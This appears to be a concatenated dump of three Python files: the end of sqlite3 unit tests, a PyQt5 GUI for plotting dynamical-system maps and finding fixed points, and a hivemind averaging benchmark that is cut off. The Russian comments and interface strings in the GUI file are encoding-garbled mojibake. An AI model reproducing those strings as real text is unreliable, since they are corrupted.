self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_execute(self): def run(cur, errors): try: cur.execute("select name from test") errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) def test_cur_iter_next(self): def run(cur, errors): try: row = cur.fetchone() errors.append("did not raise ProgrammingError") return except sqlite.ProgrammingError: return except: errors.append("raised wrong exception") errors = [] self.cur.execute("insert into test(name) values ('a')") self.cur.execute("select name from test") t = threading.Thread(target=run, kwargs={"cur": self.cur, "errors": errors}) t.start() t.join() if len(errors) > 0: self.fail("\n".join(errors)) class ConstructorTests(unittest.TestCase): def test_date(self): d = sqlite.Date(2004, 10, 28) def test_time(self): t = sqlite.Time(12, 39, 35) def test_timestamp(self): ts = sqlite.Timestamp(2004, 10, 28, 12, 39, 35) def test_date_from_ticks(self): d = sqlite.DateFromTicks(42) def test_time_from_ticks(self): t = sqlite.TimeFromTicks(42) def test_timestamp_from_ticks(self): ts = sqlite.TimestampFromTicks(42) def test_binary(self): b = sqlite.Binary(b"\0'") class ExtensionTests(unittest.TestCase): def test_script_string_sql(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.executescript(""" -- bla bla /* a stupid comment */ create table a(i); insert into a(i) values (5); """) cur.execute("select i from a") res = cur.fetchone()[0] self.assertEqual(res, 5) def test_script_syntax_error(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(sqlite.OperationalError): cur.executescript("create table test(x); asdf; create table test2(x)") def test_script_error_normal(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(sqlite.OperationalError): cur.executescript("create table test(sadfsadfdsa); select foo from hurz;") def test_cursor_executescript_as_bytes(self): con = sqlite.connect(":memory:") cur = con.cursor() with self.assertRaises(ValueError) as cm: cur.executescript(b"create table test(foo); insert into test(foo) values (5);") self.assertEqual(str(cm.exception), 'script argument must be unicode.') def test_connection_execute(self): con = sqlite.connect(":memory:") result = con.execute("select 5").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.execute") def test_connection_executemany(self): con = sqlite.connect(":memory:") con.execute("create table test(foo)") con.executemany("insert into test(foo) values (?)", [(3,), (4,)]) result = con.execute("select foo from test order by foo").fetchall() self.assertEqual(result[0][0], 3, "Basic test of Connection.executemany") self.assertEqual(result[1][0], 4, "Basic test of Connection.executemany") def test_connection_executescript(self): con = sqlite.connect(":memory:") con.executescript("create table test(foo); insert into test(foo) values (5);") result = con.execute("select foo from test").fetchone()[0] self.assertEqual(result, 5, "Basic test of Connection.executescript") class ClosedConTests(unittest.TestCase): def test_closed_con_cursor(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): cur = con.cursor() def test_closed_con_commit(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con.commit() def test_closed_con_rollback(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con.rollback() def test_closed_cur_execute(self): con = sqlite.connect(":memory:") cur = con.cursor() con.close() with self.assertRaises(sqlite.ProgrammingError): cur.execute("select 4") def test_closed_create_function(self): con = sqlite.connect(":memory:") con.close() def f(x): return 17 with self.assertRaises(sqlite.ProgrammingError): con.create_function("foo", 1, f) def test_closed_create_aggregate(self): con = sqlite.connect(":memory:") con.close() class Agg: def __init__(self): pass def step(self, x): pass def finalize(self): return 17 with self.assertRaises(sqlite.ProgrammingError): con.create_aggregate("foo", 1, Agg) def test_closed_set_authorizer(self): con = sqlite.connect(":memory:") con.close() def authorizer(*args): return sqlite.DENY with self.assertRaises(sqlite.ProgrammingError): con.set_authorizer(authorizer) def test_closed_set_progress_callback(self): con = sqlite.connect(":memory:") con.close() def progress(): pass with self.assertRaises(sqlite.ProgrammingError): con.set_progress_handler(progress, 100) def test_closed_call(self): con = sqlite.connect(":memory:") con.close() with self.assertRaises(sqlite.ProgrammingError): con() class ClosedCurTests(unittest.TestCase): def test_closed(self): con = sqlite.connect(":memory:") cur = con.cursor() cur.close() for method_name in ("execute", "executemany", "executescript", "fetchall", "fetchmany", "fetchone"): if method_name in ("execute", "executescript"): params = ("select 4 union select 5",) elif method_name == "executemany": params = ("insert into foo(bar) values (?)", [(3,), (4,)]) else: params = [] with self.assertRaises(sqlite.ProgrammingError): method = getattr(cur, method_name) method(*params) class SqliteOnConflictTests(unittest.TestCase): """ Tests for SQLite's "insert on conflict" feature. See https://www.sqlite.org/lang_conflict.html for details. """ def setUp(self): self.cx = sqlite.connect(":memory:") self.cu = self.cx.cursor() self.cu.execute(""" CREATE TABLE test( id INTEGER PRIMARY KEY, name TEXT, unique_name TEXT UNIQUE ); """) def tearDown(self): self.cu.close() self.cx.close() def test_on_conflict_rollback_with_explicit_transaction(self): self.cx.isolation_level = None # autocommit mode self.cu = self.cx.cursor() # Start an explicit transaction. self.cu.execute("BEGIN") self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") # Use connection to commit. self.cx.commit() self.cu.execute("SELECT name, unique_name from test") # Transaction should have rolled back and nothing should be in table. self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_abort_raises_with_explicit_transactions(self): # Abort cancels the current sql statement but doesn't change anything # about the current transaction. self.cx.isolation_level = None # autocommit mode self.cu = self.cx.cursor() # Start an explicit transaction. self.cu.execute("BEGIN") self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") self.cx.commit() self.cu.execute("SELECT name, unique_name FROM test") # Expect the first two inserts to work, third to do nothing. self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)]) def test_on_conflict_rollback_without_transaction(self): # Start of implicit transaction self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ROLLBACK INTO test(unique_name) VALUES ('foo')") self.cu.execute("SELECT name, unique_name FROM test") # Implicit transaction is rolled back on error. self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_abort_raises_without_transactions(self): # Abort cancels the current sql statement but doesn't change anything # about the current transaction. self.cu.execute("INSERT INTO test(name) VALUES ('abort_test')") self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR ABORT INTO test(unique_name) VALUES ('foo')") # Make sure all other values were inserted. self.cu.execute("SELECT name, unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('abort_test', None), (None, 'foo',)]) def test_on_conflict_fail(self): self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')") with self.assertRaises(sqlite.IntegrityError): self.cu.execute("INSERT OR FAIL INTO test(unique_name) VALUES ('foo')") self.assertEqual(self.cu.fetchall(), []) def test_on_conflict_ignore(self): self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')") # Nothing should happen. self.cu.execute("INSERT OR IGNORE INTO test(unique_name) VALUES ('foo')") self.cu.execute("SELECT unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('foo',)]) def test_on_conflict_replace(self): self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Data!', 'foo')") # There shouldn't be an IntegrityError exception. self.cu.execute("INSERT OR REPLACE INTO test(name, unique_name) VALUES ('Very different data!', 'foo')") self.cu.execute("SELECT name, unique_name FROM test") self.assertEqual(self.cu.fetchall(), [('Very different data!', 'foo')]) def suite(): tests = [ ClosedConTests, ClosedCurTests, ConnectionTests, ConstructorTests, CursorTests, ExtensionTests, ModuleTests, SqliteOnConflictTests, ThreadTests, ] return unittest.TestSuite( [unittest.TestLoader().loadTestsFromTestCase(t) for t in tests] ) def test(): runner = unittest.TextTestRunner() runner.run(suite()) if __name__ == "__main__": test()
main.py
import sys # sys ะฝัƒะถะตะฝ ะดะปั ะฟะตั€ะตะดะฐั‡ะธ argv ะฒ QApplication import time import os import matplotlib import Map_wd import plotuiwin import info import integwin import findfixedwin import setting_plotwin import input_systemwin from PyQt5 import QtWidgets import design import info import wid_info import Map_wd import info_dialogin #from plyer import notification from PyQt5.QtWidgets import QInputDialog, qApp import threading from multiprocessing import Process from PyQt5.QtWidgets import* from PyQt5.uic import loadUi import errorwin from matplotlib.backends.backend_qt5agg import ( NavigationToolbar2QT as NavigationToolbar) import matplotlib.pyplot as plt import numpy as np class ExampleApp(QtWidgets.QMainWindow, design.Ui_MainWindow, info.Ui_helpWindow, integwin.Ui_integrWin, input_systemwin.Ui_inpusystemWin, setting_plotwin.Ui_settings_plot_window, findfixedwin.Ui_findmultWin, plotuiwin.Ui_plot_window, errorwin.Ui_errorwin): def __init__(self): # ะญั‚ะพ ะทะดะตััŒ ะฝัƒะถะฝะพ ะดะปั ะดะพัั‚ัƒะฟะฐ ะบ ะฟะตั€ะตะผะตะฝะฝั‹ะผ, ะผะตั‚ะพะดะฐะผ # ะธ ั‚.ะด. ะฒ ั„ะฐะนะปะต design.py super().__init__() self.textinfo = 'ั‚ะตัั‚ะพะฒั‹ะน ั‚ะตะบัั‚ ะฒ ะธะฝั„ะพั€ะผะฐั†ะธะธ\n\ ะพ ะฟั€ะพะณั€ะฐะผะผะต' self.indicator_input_system = 0 # self.setupUi_info() self.initUI() self.textx = '' self.texty = '' self.wp = 0.0 self.h = 0.01 self.n = 10000 self.x_fixed = [] self.y_fixed = [] self.period_fixed = [] self.sadle_number = [] self.k_sadle1 = [] self.k_sadle2 = [] self.period_warning = 0 self.mult = [] self.x_lim_min = -10 self.x_lim_max = 10 self.y_lim_min = -10 self.y_lim_max = 10 self.toolbar = 0 self.__x0 = 0 self.__y0 = 0 self.gridbool = True self.point_size_var = 1 self.color_points = 'black' self.linetopoint = False self.hidepoints = False self.linecolormap = 'black' def initUI(self): self.setupUi(self) self.plotBotton.setStatusTip('ะพั‚ะบั€ั‹ั‚ัŒ ะพะบะฝะพ ะณั€ะฐั„ะธะบะฐ') self.exit.setStatusTip('ะฒั‹ั…ะพะด ะธะท ะฟั€ะพะณั€ะฐะผะผั‹') self.selectBottom.setStatusTip('ะฒั‹ะฑั€ะฐั‚ัŒ ัะธัั‚ะตะผัƒ ะธะท ัะพั…ั€ะฐะฝะตะฝะฝั‹ั…') self.settIngIntMenu.setStatusTip( 'ัˆะฐะณ ะธะฝั‚ะตะณั€ะธั€ะพะฒะฐะฝะธั ะธ ะบะพะปะธั‡ะตัั‚ะฒะพ ะธั‚ะตั€ะฐั†ะธะน') self.clearallBottom.setStatusTip( 'ัƒะดะฐะปะธั‚ัŒ ะฝะฐะนะดะตะฝะฝั‹ะต ะฝะตะฟะพะดะฒะธะถะฝั‹ะต ั‚ะพั‡ะบะธ ะธ ะธั… ะผัƒะปัŒั‚ะธะฟะปะธะบะฐั‚ะพั€ั‹') self.findfixedButton.setStatusTip( 'ะฝะฐะนั‚ะธ ะฝะตะฟะพะดะฒะธะถะฝัƒัŽ ั‚ะพั‡ะบัƒ ะธะท ะฟั€ะธะฑะปะธะถะตะฝะธั') self.findmultButton.setStatusTip( 'ะฝะฐะนั‚ะธ ะผัƒะปัŒั‚ะธะฟะปะธะบะฐั‚ะพั€ั‹ ะฝะตะฟะพะดะฒะธะถะฝั‹ั… ั‚ะพั‡ะตะบ') self.setplotMenu.setStatusTip('ะฝะฐัั‚ั€ะพะนะบะฐ ะพะบะฝะฐ ะณั€ะฐั„ะธะบะฐ') self.koefButton.setStatusTip('ะพั‚ะพะฑั€ะฐะทะธั‚ัŒ, ะตัะปะธ ะตัั‚ัŒ') self.pushplotsystem.setStatusTip('ะพั‚ะบั€ั‹ั‚ัŒ ะพะบะฝะพ ะณั€ะฐั„ะธะบะฐ') self.input_system.setStatusTip('ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ ั ะบะปะฐะฒะธะฐั‚ัƒั€ั‹') self.saveas.setStatusTip('ัะพั…ั€ะฐะฝะธั‚ัŒ ัะธัั‚ะตะผัƒ') self.saveres.setStatusTip('ัะพั…ั€ะฐะฝะธั‚ัŒ ั€ะตะทัƒะปัŒั‚ะฐั‚ั‹') #self.inputBotton.clicked.connect(self.open_input_system) # self.plotBotton.clicked.connect(self.multiP) self.plotBotton.clicked.connect(self.display_plot) self.findfixedButton.clicked.connect(self.display_find_fixed) self.findmultButton.clicked.connect(self.find_mult_method) self.clearallBottom.clicked.connect(self.clear_all) self.koefButton.clicked.connect(self.display_sadle_koef) self.pushplotsystem.clicked.connect(self.display_plot_system) self.input_system.triggered.connect(self.open_input_system) self.infoMenu.triggered.connect(self.open_info_program) self.setplotMenu.triggered.connect(self.display_plot_set) self.exit.triggered.connect(qApp.quit) self.saveas.triggered.connect(self.saveassystem ) self.saveres.triggered.connect(self.saveresult) self.selectBottom.triggered.connect(self.opensystem) # self.settIngIntMenu.triggered.connect(self.input_settings_integrate) self.settIngIntMenu.triggered.connect(self.open_setting_integrate) menubar = self.menuBar() def opensystem(self): name = str(QtWidgets.QFileDialog.getOpenFileName(self)[0]) if name != '': file = open(name) # line = file.readline() self.textx = file.readline() self.texty = file.readline() self.wp = float(file.readline()) file.close() self.model.get_input_system(self.textx, self.texty, self.wp) self.indicator_input_system = 1 self.system_and_integrate_display() #print(len(textfile)) def saveresult(self): name = str(QtWidgets.QFileDialog.getSaveFileName(self, "name_file.txt")[0]) if name != '': textfile = self.display_system.toPlainText() + '\n' textfile += "ะฝะตะฟะพะดะฒะธะถะฝั‹ะต ั‚ะพั‡ะบะธ:\n" textfile += self.text_fixed.toPlainText() + '\n' textfile += "___________\n ะผัƒะปัŒั‚ะธะฟะปะธะบะฐะพั‚ั€ั‹:\n" textfile += self.text_mult.toPlainText() + '\n' textfile += "___________\n ะบะพัั„ั„ะธั†ะธะตะฝั‚ั‹:\n" textfile += self.text_koef_sadle.toPlainText() file = open(name, 'w') file.write(textfile) file.close() def saveassystem(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: name = str(QtWidgets.QFileDialog.getSaveFileName(self)[0]) if name != '': file = open(name, 'w') text = self.textx + '\n' + self.texty + '\n' + str(self.wp) file.write(text) file.close() def display_plot(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: self.windowplot = QtWidgets.QMainWindow() self.uiplot = plotuiwin.Ui_plot_window() self.uiplot.setupUi(self.windowplot) self.toolbarmap = NavigationToolbar( self.uiplot.MplWidget.canvas, self) self.toolbarmap.setStyleSheet("float: flat;\n" "margin-rigth: 3%;\n" " margin-top: 5px;\n" " \n" " border: 1px rgba(114, 147, 182, 1);\n" " padding: 5px 9px;\n" " font-size: 1.2em;\n" " background-color: rgba(114, 147, 182, 1);\n" " text-shadow: #454545 0 0 2px;\n" " border-bottom: 4px solid rgba(114, 147, 182, 1);\n" " color: white;\n" " font-family: \'Roboto Slab\', serif;\n" "\n" "") self.windowplot.addToolBar(self.toolbarmap) #plt.xlim([self.x_lim_min, self.x_lim_max]) # self.ui.MplWidget.canvas.axes.clear() self.uiplot.MplWidget.canvas.axes.set_xlim( [self.x_lim_min, self.x_lim_max]) self.uiplot.MplWidget.canvas.axes.set_ylim( [self.y_lim_min, self.y_lim_max]) self.uiplot.MplWidget.canvas.axes.grid(self.gridbool) self.uiplot.MplWidget.canvas.mpl_connect( 'button_press_event', self.onclick_plot_initial) # self.uiplot.clearButton.clicked.connect(self.uiplot.MplWidget.canvas.axes.clear) self.uiplot.clearButton.clicked.connect(self.display_plot) self.windowplot.show() def onclick_plot_initial(self, event): if self.toolbarmap.mode == '': #self.__x0 = event.xdata #self.__y0 = event.ydata self.model.get_initial(event.xdata, event.ydata) xnew, ynew, vx_p, vy_p = self.model.rk4() if (self.linetopoint == True and self.hidepoints == False): self.uiplot.MplWidget.canvas.axes.scatter( vx_p, vy_p, color=self.color_points, s=self.point_size_var) self.uiplot.MplWidget.canvas.axes.plot( vx_p, vy_p, color=self.linecolormap) if (self.linetopoint == True and self.hidepoints == True): self.uiplot.MplWidget.canvas.axes.plot( vx_p, vy_p, color=self.linecolormap) if (self.linetopoint == False and self.hidepoints == False): self.uiplot.MplWidget.canvas.axes.scatter( vx_p, vy_p, color=self.color_points, s=self.point_size_var) if (self.linetopoint == False and self.hidepoints == True): None self.uiplot.MplWidget.canvas.draw() def display_plot_system(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: self.windowplotsystem = QtWidgets.QMainWindow() self.uiplotsystem = plotuiwin.Ui_plot_window() self.uiplotsystem.setupUi(self.windowplotsystem) self.toolbar = NavigationToolbar( self.uiplotsystem.MplWidget.canvas, self) self.toolbar.setStyleSheet("float: flat;\n" "margin-rigth: 3%;\n" " margin-top: 5px;\n" " \n" " border: 1px rgba(114, 147, 182, 1);\n" " padding: 5px 9px;\n" " font-size: 1.2em;\n" " background-color: rgba(114, 147, 182, 1);\n" " text-shadow: #454545 0 0 2px;\n" " border-bottom: 4px solid rgba(114, 147, 182, 1);\n" " color: white;\n" " font-family: \'Roboto Slab\', serif;\n" "\n" "") self.windowplotsystem.addToolBar(self.toolbar) self.uiplotsystem.MplWidget.canvas.axes.set_xlim( [self.x_lim_min, self.x_lim_max]) self.uiplotsystem.MplWidget.canvas.axes.set_ylim( [self.y_lim_min, self.y_lim_max]) self.uiplotsystem.MplWidget.canvas.axes.grid(self.gridbool) self.uiplotsystem.MplWidget.canvas.mpl_connect( 'button_press_event', self.onclick_plot_initial_system) self.uiplotsystem.clearButton.clicked.connect( self.display_plot_system) self.windowplotsystem.show() def onclick_plot_initial_system(self, event): if self.toolbar.mode == '': #self.__x0 = event.xdata #self.__y0 = event.ydata self.model.get_initial(event.xdata, event.ydata) xnew, ynew, vx_p, vy_p = self.model.rk4() self.uiplotsystem.MplWidget.canvas.axes.plot( xnew, ynew, color='black') self.uiplotsystem.MplWidget.canvas.draw() def display_sadle_koef(self): if (len(self.mult) == 0): self.showDialogerror("ะฝะตะพะฑั…ะพะดะธะผะพ ะฝะฐะนั‚ะธ ะผัƒะปัŒั‚ะธะฟะปะธะบะฐั‚ะพั€ั‹") else: self.text_koef_sadle.clear() self.sadle_number, self.k_sadle1, self.k_sadle2 = self.model.ret_sadle_k() for i in range(len(self.sadle_number)): self.text_koef_sadle.append(str(self.sadle_number[i] + 1) + ') k1 = ' + str( self.k_sadle1[i]) + ', k2 = ' + str(self.k_sadle2[i])) def clear_all(self): self.text_fixed.clear() self.text_mult.clear() self.text_koef_sadle.clear() self.model.clear() self.x_fixed = [] self.y_fixed = [] self.period_fixed = [] self.k_sadle1 = [] self.k_sadle2 = [] self.sadle_number = [] def find_mult_method(self): self.text_mult.clear() self.model.find_mult() self.mult = self.model.ret_mult() if len(self.x_fixed) == 0: self.showDialogerror( "ะะตะพะฑั…ะพะดะธะผะพ ะฝะฐะนั‚ะธ ะฝะตะฟะพะดะฒะธะถะฝั‹ะต ะธะปะธ ะฟะตั€ะธะพะดะธั‡ะตัะบะธะต ั‚ะพั‡ะบะธ") else: for i in range(len(self.x_fixed)): self.text_mult.append( str(i + 1) + ') s1 = ' + str(self.mult[i][0]) + ', s2 = ' + str(self.mult[i][1])) def display_find_fixed(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: self.window = QtWidgets.QMainWindow() self.ui = findfixedwin.Ui_findmultWin() self.ui.setupUi(self.window) self.ui.findButton.clicked.connect(self.find_fixed_method) self.ui.closeButton.clicked.connect(self.window.close) self.window.show() def find_fixed_method(self): self.text_fixed.clear() self.model.get_start_fixed(self.ui.xspinBox.value( ), self.ui.yspinBox.value()) # ะฝะฐั‡ะฐะปัŒะฝะพะต ะฟั€ะตะดะฟะพะปะพะถะตะฝะธะต self.model.find_fixed_point(self.ui.spinBox.value()) self.period_fixed, self.x_fixed, self.y_fixed = self.model.ret_fixed_points() for i in range(len(self.x_fixed)): self.text_fixed.append(str(i + 1) + ') (x, y) = (' + str(self.x_fixed[i]) + ', ' + str(self.y_fixed[i]) + ')' + ',ะฟะตั€ะธะพะด - ' + str(self.period_fixed[i]) + ';') def display_plot_set(self): self.windowplotset = QtWidgets.QMainWindow() self.uiplotset = setting_plotwin.Ui_settings_plot_window() self.uiplotset.setupUi(self.windowplotset) self.uiplotset.xmax.setValue(self.x_lim_max) self.uiplotset.xmin.setValue(self.x_lim_min) self.uiplotset.ymax.setValue(self.y_lim_max) self.uiplotset.ymin.setValue(self.y_lim_min) self.uiplotset.okButton.clicked.connect(self.setting_plot) self.uiplotset.sizepoints.setValue(self.point_size_var) self.uiplotset.linetopoint.setChecked(self.linetopoint) self.uiplotset.hidepoint.setChecked(self.hidepoints) self.uiplotset.checkBox.setChecked(self.gridbool) self.uiplotset.checkBox.setStatusTip( 'ะฟั€ะธะผะตะฝะธั‚ัั ะฟะพัะปะต ะฟะตั€ะตะทะฐะฟัƒัะบะฐ ะพะบะฝะฐ ะณั€ะฐั„ะธะบะฐ') self.windowplotset.show() def setting_plot(self): self.x_lim_min = self.uiplotset.xmin.value() self.x_lim_max = self.uiplotset.xmax.value() self.y_lim_min = self.uiplotset.ymin.value() self.y_lim_max = self.uiplotset.ymax.value() self.model.get_limit_plot(self.x_lim_min, self.x_lim_max, self.y_lim_min, self.y_lim_max) if self.uiplotset.checkBox.isChecked(): self.gridbool = True else: self.gridbool = False if self.uiplotset.comboBox.currentText() == 'ั‡ะตั€ะฝั‹ะน': self.color_points = 'black' elif self.uiplotset.comboBox.currentText() == 'ะบั€ะฐัะฝั‹ะน': self.color_points = 'red' elif self.uiplotset.comboBox.currentText() == 'ะทะตะปะตะฝั‹ะน': self.color_points = 'green' elif self.uiplotset.comboBox.currentText() == 'ัะธะฝะธะน': self.color_points = 'blue' if self.uiplotset.colorlineCombobox.currentText() == 'ั‡ะตั€ะฝั‹ะน': self.linecolormap = 'black' elif self.uiplotset.colorlineCombobox.currentText() == 'ะบั€ะฐัะฝั‹ะน': self.linecolormap = 'red' elif self.uiplotset.colorlineCombobox.currentText() == 'ะทะตะปะตะฝั‹ะน': self.linecolormap = 'green' elif self.uiplotset.colorlineCombobox.currentText() == 'ัะธะฝะธะน': self.linecolormap = 'blue' self.point_size_var = self.uiplotset.sizepoints.value() self.linetopoint = self.uiplotset.linetopoint.isChecked() self.hidepoints = self.uiplotset.hidepoint.isChecked() def open_input_system(self): self.window = QtWidgets.QMainWindow() self.ui = input_systemwin.Ui_inpusystemWin() self.ui.setupUi(self.window) self.ui.xline.setText(self.textx) self.ui.yline.setText(self.texty) self.window.show() self.ui.doubleSpinBox.setValue(self.wp) self.ui.oksystem.clicked.connect(self.input_system_user) def input_system_user(self): if self.ui.xline.text() == '' or self.ui.xline.text() == ' ': texterror = 'ะฝะต ะฒะฒะตะดะตะฝะพ x`' self.showDialogerror(texterror) elif self.ui.yline.text == '' or self.ui.yline.text() == ' ': texterror = 'ะฝะต ะฒะฒะตะดะตะฝะพ y`' self.showDialogerror(texterror) elif self.ui.doubleSpinBox.value() == 0.0: texterror = 'ะฝะต ะฒะฒะตะดะตะฝะฐ ั‡ะฐัั‚ะพั‚ะฐ ะฒะพะทะผัƒั‰ะตะฝะธั`' self.showDialogerror(texterror) else: self.textx = self.ui.xline.text() self.texty = self.ui.yline.text() self.wp = self.ui.doubleSpinBox.value() self.model.get_input_system(self.textx, self.texty, self.wp) self.indicator_input_system = 1 self.system_and_integrate_display() self.window.close() def open_setting_integrate(self): self.window = QtWidgets.QMainWindow() self.ui = integwin.Ui_integrWin() self.ui.setupUi(self.window) self.ui.spinBox.setValue(self.n) self.ui.doubleSpinBox.setValue(self.h) self.window.show() self.ui.okstep.clicked.connect(self.input_settings_integrate_h) self.ui.okiter.clicked.connect(self.input_settings_integrate_iter) def input_settings_integrate_h(self): self.h = self.ui.doubleSpinBox.value() self.model.calculate_data(self.h, self.n) self.system_and_integrate_display() def input_settings_integrate_iter(self): self.n = self.ui.spinBox.value() self.model.calculate_data(self.h, self.n) self.system_and_integrate_display() def open_info_program(self): self.window = QtWidgets.QMainWindow() self.ui = info.Ui_helpWindow() self.ui.setupUi(self.window) #self.ui.textBrowser.append(self.textinfo) self.window.show() def newtext(self): self.textinfo = '21312' self.ui.textBrowser.clear() self.ui.textBrowser.append(self.textinfo) def system_and_integrate_display(self): self.display_system.clear() self.display_system.append( 'x` = ' + self.textx + '\ny` = ' + self.texty) self.h, self.n = self.model.ret_integr_set() self.display_system.isRightToLeft() self.display_system.append('\n__________________________\nะฟะฐั€ะฐะผะตั‚ั€ั‹ ะธะฝั‚ะตะณั€ะธั€ะพะฒะฐะฝะธั:\nัˆะฐะณ: ' + str(self.h) + '\nะบะพะปะธั‡ะตัั‚ะฒะพ ะธั‚ะตั€ะฐั†ะธะน: ' + str(self.n) + '\nั‡ะฐัั‚ะพั‚ะฐ ะฒะพะทะผัƒั‰ะตะฝะธั: ' + str(self.wp)) def multiP(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: #threading.Thread(target=self.model.model_plot_initial, args=()).start() self.model.model_plot_initial() ''' def multiP(self): if self.indicator_input_system == 0: texterror = 'ะฝะตะพะฑั…ะพะดะธะผะพ ะฒะฒะตัั‚ะธ ัะธัั‚ะตะผัƒ' self.showDialogerror(texterror) else: p = Process(None, self.model.model_plot_initial()) p.start() ''' def showDialogerror(self, texterror): QMessageBox.critical(self, "ะพัˆะธะฑะบะฐ", texterror) def input_model(self, model): self.model = model def main(): model = Map_wd.Model() app = QtWidgets.QApplication(sys.argv) # ะะพะฒั‹ะน ัะบะทะตะผะฟะปัั€ QApplication window = ExampleApp() # ะกะพะทะดะฐั‘ะผ ะพะฑัŠะตะบั‚ ะบะปะฐััะฐ ExampleApp window.input_model(model) window.show() # ะŸะพะบะฐะทั‹ะฒะฐะตะผ ะพะบะฝะพ app.exec_() # ะธ ะทะฐะฟัƒัะบะฐะตะผ ะฟั€ะธะปะพะถะตะฝะธะต if __name__ == '__main__': # ะ•ัะปะธ ะผั‹ ะทะฐะฟัƒัะบะฐะตะผ ั„ะฐะนะป ะฝะฐะฟั€ัะผัƒัŽ, ะฐ ะฝะต ะธะผะฟะพั€ั‚ะธั€ัƒะตะผ main() # ั‚ะพ ะทะฐะฟัƒัะบะฐะตะผ ั„ัƒะฝะบั†ะธัŽ main()
benchmark_averaging.py
import math import time import threading import argparse import torch import hivemind from hivemind.utils import LOCALHOST, increase_file_limit from hivemind.proto import runtime_pb2 def sample_tensors(hid_size, num_layers): tensors = [] for i in range(num_layers): tensors.append(torch.randn(hid_size, 3 * hid_size)) tensors.append(torch.randn(3 * hid_size)) tensors.append(torch.randn(3 * hid_size)) tensors.append(torch.randn(hid_size, hid_size)) tensors.append(torch.ones(hid_size)) tensors.append(torch.zeros(hid_size)) tensors.append(torch.randn(hid_size, 4 * hid_size)) tensors.append(torch.randn(4 * hid_size)) tensors.append(torch.ones(4 * hid_size)) tensors.append(torch.randn(2, hid_size, hid_size, 2)) tensors.append(torch.randn(hid_size)) tensors.append(torch.randn(hid_size)) tensors.append(torch.randn(hid_size)) return tuple(tensors) def benchmark_averaging(num_peers: int, target_group_size: int, num_rounds: int, averaging_expiration: float, request_timeout: float, round_timeout: float, hid_size: int, num_layers: int, spawn_dtime: float): dht_root = hivemind.DHT(listen_on=f'{LOCALHOST}:*', start=True) num_groups = 2 ** int(round(math.log2(num_peers / target_group_size))) nbits = int(round(math.log2(num_groups))) peer_tensors = [sample_tensors(hid_size, num_layers) for _ in range(num_peers)] processes = {dht_root} def run_averager(index): dht = hivemind.DHT(listen_on=f'{LOCALHOST}:*', initial_peers=[f"{LOCALHOST}:{dht_root.port}"], start=True) initial_bits = bin(index % num_groups)[2:].rjust(nbits, '0') averager = hivemind.DecentralizedAverager( peer_tensors[i], dht, prefix='my_tensor', initial_group_bits=initial_bits, listen_on=f"{LOCALHOST}:*", compression_type=runtime_pb2.CompressionType.FLOAT16, target_group_size=target_group_size, averaging_expiration=averaging_expiration, request_timeout=request_timeout, start=True) processes.update({dht, averager}) print(end=f'<started {index}>\n', flush=True) for _ in range(num_rounds): success = averager.step(timeout=round_timeout) print(end=('+' if success else '-'), flush=True) print(end=f'<finished {index}>\n', flush=True) threads = [] for i in range(num_peers): thread = threading.Thread(target=run_averager, args=[i]) threads.append(thread) thread.start() time.sleep(spawn_dtime) t = time.time() for thread in threads: thread.join() print(f"\ntest run took {time.time() - t:.3f} seconds") for process in processes: process.terminate() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('--num_peers', type=int, default=16, required=False) parser.add_argument('--target_group_size', type=int, default=4, required=False) parser.add_argument('--num_rounds', type=int, default=5, required=False) parser.add_argument('--hid_size', 